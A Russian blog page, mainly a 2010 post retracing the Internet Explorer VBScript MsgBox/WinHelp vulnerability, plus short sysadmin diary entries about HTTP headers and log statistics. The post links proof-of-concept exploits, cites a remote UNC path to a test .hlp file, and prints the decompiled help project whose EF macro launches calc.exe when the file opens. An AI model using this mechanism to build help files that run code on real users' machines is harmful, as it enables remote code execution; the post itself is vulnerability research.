-Подписка по e-mail

 

 -Поиск по дневнику

Поиск сообщений в NeoliteBSD

 -Статистика

Статистика LiveInternet.ru: показано количество хитов и посетителей
Создан: 25.07.2007
Записей:
Комментариев:
Написано: 107

Выбрана рубрика Хроники.


Другие рубрики в этом дневнике: Установка(4), Статьи(4), Настройка(2), Лирика(7), Исследования(9), Tips&Tricks(8)

Уязвимость в VBScript функции MsgBox() в Microsoft Windows. От идеи до реализации.

Дневник

Среда, 03 Марта 2010 г. 10:06 + в цитатник
Утром коллега сообщил о новой уязвимости в IE связанной с VBScript. Новость была с Хабра, поэтому сразу пошел смотреть подробности: http://habrahabr.ru/blogs/infosecurity/86069/ редиректит нас на http://focus.ua/tech/103699 где, в сущности, нет ничего конкретного по технической стороне вопроса, что было вполне предсказуемо. Идем на СекуЛаб и быстро находим нужное - http://www.securitylab.ru/news/391250.php. Ага!
Исследователь Maurycy Prodeus опубликовал в пятницу PoC код, демонстрирующий эксплуатацию уязвимости в VBScript функция MsgBox()
Смотрим ссылки по теме: http://www.securitylab.ru/vulnerability/391247.php, далее http://blogs.technet.com/msrc/archive/2010/02/28/i...d-internet-explorer-issue.aspx - не то, далее http://www.isec.pl/vulnerabilities/isec-0027-msgbox-helpfile-ie.txt - вот оно!
Proof-of-Concept is available here:

http://isec.pl/poc-isec27/
Второй тест проходит успешно - winhlp32.exe крэшится как надо, а вот с Calc.exe проблемы: big = "\\184.73.14.110\PUBLIC\test.hlp" не найден =\ Немного погуглив, находим http://www.exploit-db.com/exploits/11615 и архив с искомым файлом:
===============================================================
A copy of test.hlp can be downloaded from here:
http://www.exploit-db.com/sploits/msgbox_test_help.zip
===============================================================
Скачиваем, проверяем - работает! Калькулятор успешно запустился! Но как?.. Начинаем копать: недолгие поиски привели к софтине HelpScribble. Для декомпиляции .hlp файла она посоветовала воспользоваться декомпиллером. Отлично! Качаем, запускаем, распаковываем test.hlp. На выходе два файла - test.rtf и test.hpj. Первый нам не нужен - он все равно пустой, а вот во втором мы находим искомое:
[OPTIONS]
LCID=0x409 0x0 0x0
COMPRESS=0

[CONFIG]
EF("C:\\WINDOWS\\calc.exe",`',1)

[FILES]
TEST.RTF

[MAP]
21KSYK4 1
Еще немного поисков и находим нужное - http://www.stcsig.org/oi/hyperviews/resources/winhelp_faq/whfaq_qa.htm
...

[3.1.8] Can I link to a URL (web site) from a help file? How?

There are a number of DLLs available for launching a web browser and displaying a web page. The DLLs are good when users don't have a default browser specified. If your users are relatively up to date, you can get away with a simple macro:

ExecFile(`http://www.mysite.net/default.html',,0,)

will usually do the trick. Both Netscape and Microsoft browsers will set up the files needed to launch a URL from the command line. The ExecFile macro just takes advantage of this capability. (Hint: From the Start menu, select Run, and then enter a URL. Click OK, and your browser should launch directly to the page you specified.)

...

Подробнее по ссылке - http://help.adobe.com/en_US/RoboHelp/Rword/7.0/mer...ELP_ExecFile_WinHelp_macro.htm

Help Workshop automatically converts the ExecFile macro to EF.

Вот и все! =) На все про все ушло не более получаса.

Рубрики:  Хроники
Исследования

Метки:  

08.08.2007 11:40:00

Дневник

Среда, 08 Августа 2007 г. 15:28 + в цитатник
Разгребая логи системы, о запуске которой я писал ранее, решил посмотреть что значат те или иные заголовки. Например, оказалось, что HTTP_UA_CPU = x86 свидетельствует о том, что у пользователя стоит Windows Mobile 5.0 (http://support.microsoft.com/kb/912876). Также частенько попадаются пользователи, использующие прокси: их внутренний IP сохраняется в HTTP_X_FORWARDED_FOR. Также обнаружились такие странные заголовки, как HTTP_TE и HTTP_COOKIE2...
Что касается первого, то, как оказалось, что аббревиатура в конце обозначает Transfer-Encoding (http://forum.sources.ru/index.php?showtopic=74208&view=findpost&p=530922). Второе отыскать было несколько сложнее, но все же я наткнулся на одну тему на форуме - http://forum.ru-board.com/topic.cgi?forum=31&topic=10293.
Решил глянуть ещё разок, что говорят по поводу HTTP_X_FORWARDED_FOR и нашел кучу интересной информации:
http://xpoint.ru/forums/internet/theory/thread/27342.xhtml
http://lists.paco.net/oops-rus/msg.200010.00180.html
http://www.freeproxy.ru/ru/free_proxy/faq/proxy_anonymity.htm
http://doc.dubs.odessa.net/phpdoc/function.getenv.php
Даже наткнулся на модуль Apache (http://sysoev.ru/mod_realip/)
http://softoroom.net/topic24165.html
и так далее...
Рубрики:  Хроники

08.08.2007 9:00:00

Дневник

Среда, 08 Августа 2007 г. 15:28 + в цитатник
Вчера, наконец-то, запустил обсчет статистики для ftp сервера. Также написал улучшенный алгоритм хэширования пароля с использованием MD5. Сегодня несколько доработал его. Также вчера открыл для себя способ проверки эффективности использования индексов в мускуле. Собственно, это и являлось причиной высокой нагрузки на тестовом сервере - постоянное сканирование таблиц в виду отсутствия индексов. Создал необходимые индексы - нагрузка снизилась.
Рубрики:  Хроники

06.08.2007 11:22:00

Дневник

Понедельник, 06 Августа 2007 г. 11:23 + в цитатник
Почистил логи апача, запустил систему отслеживающую нестандартные HTTP-заголовки. Посмотрим, что будет в логах через недельку, месяц... =)
Рубрики:  Хроники

03.08.2007 17:30:00

Дневник

Пятница, 03 Августа 2007 г. 17:34 + в цитатник
Были выявлены ошибке в ротаторе логов веб-сервера. Спустя несколько минут были устранены, но статистика по посещениям с 6 утра оказалось безнадежно утеряна. Ну да ладно, не велика потеря =) На будущее учту - смотреть не только на посещаемость но и на время последнего анализа логов.
Рубрики:  Хроники

03.08.2007 10:00:00

Дневник

Пятница, 03 Августа 2007 г. 10:03 + в цитатник
Смотрел статистику посещаемости ресурса. Оказалось, что наименьшая посещаемость в 6 и 7 часов утра, а не в 4, как я изначально предполагал. Перенастроил служебные задачи, выполняющиеся по крону на это время.
Рубрики:  Хроники


 Страницы: [1]